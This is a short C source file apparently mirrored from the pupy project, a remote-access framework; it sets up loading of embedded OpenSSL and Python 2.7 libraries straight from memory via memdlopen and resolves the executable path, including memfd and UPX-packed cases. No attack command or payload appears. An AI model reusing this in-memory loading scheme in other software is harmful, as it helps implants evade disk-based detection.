mirror of https://github.com/n1nj4sec/pupy.git
77 lines
1.8 KiB
C
77 lines
1.8 KiB
C
#define _GNU_SOURCE
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#include <stdlib.h>
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#include <dlfcn.h>
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#include <sys/types.h>
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#include <sys/mman.h>
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#include "Python-dynload.h"
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#define FREE_HMODULE_AFTER_LOAD 1
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#define FILE_SYSTEM_ENCODING "utf-8"
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typedef void *HMODULE;
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typedef void* (*resolve_symbol_t) (HMODULE hModule, const char *name);
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#ifndef OPENSSL_LIB_VERSION
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#define OPENSSL_LIB_VERSION "1.0.0"
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#endif
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#define DEPENDENCIES { \
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{ \
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"libcrypto.so." OPENSSL_LIB_VERSION, \
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libcrypto_c_start, libcrypto_c_size, FALSE \
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}, \
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{ \
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"libssl.so." OPENSSL_LIB_VERSION, \
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libssl_c_start, libssl_c_size, FALSE \
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}, \
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{ \
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"libpython2.7.so.1.0", \
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python27_c_start, python27_c_size, TRUE \
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} \
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}
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#define OSLoadLibary(name) dlopen(name, RTLD_NOW)
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#define OSResolveSymbol dlsym
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#define OSUnmapRegion munmap
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#define MemLoadLibrary(name, bytes, size, arg) \
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memdlopen(name, bytes, size, RTLD_NOW | RTLD_GLOBAL)
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#define MemResolveSymbol dlsym
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#define CheckLibraryLoaded(name) dlopen(name, RTLD_NOW | RTLD_NOLOAD)
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static const char *OSGetProgramName() {
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static BOOL is_set = FALSE;
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static char exe[PATH_MAX] = { '\0' };
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if (is_set)
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return exe;
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#if defined(Linux)
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dprint("INVOCATION NAME: %s\n", program_invocation_name);
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if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0) {
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if (strstr(exe, "/memfd:")) {
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snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid());
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}
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} else {
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char *upx_env = getenv(" ");
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if (upx_env) {
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snprintf(exe, sizeof(exe), "%s", upx_env);
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}
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}
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#elif defined(SunOS)
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strcpy(exe, getexecname());
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#endif
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is_set = TRUE;
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return exe;
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}
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#include "python27.c"
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#include "libssl.c"
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#include "libcrypto.c"
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#include "tmplibrary.h"
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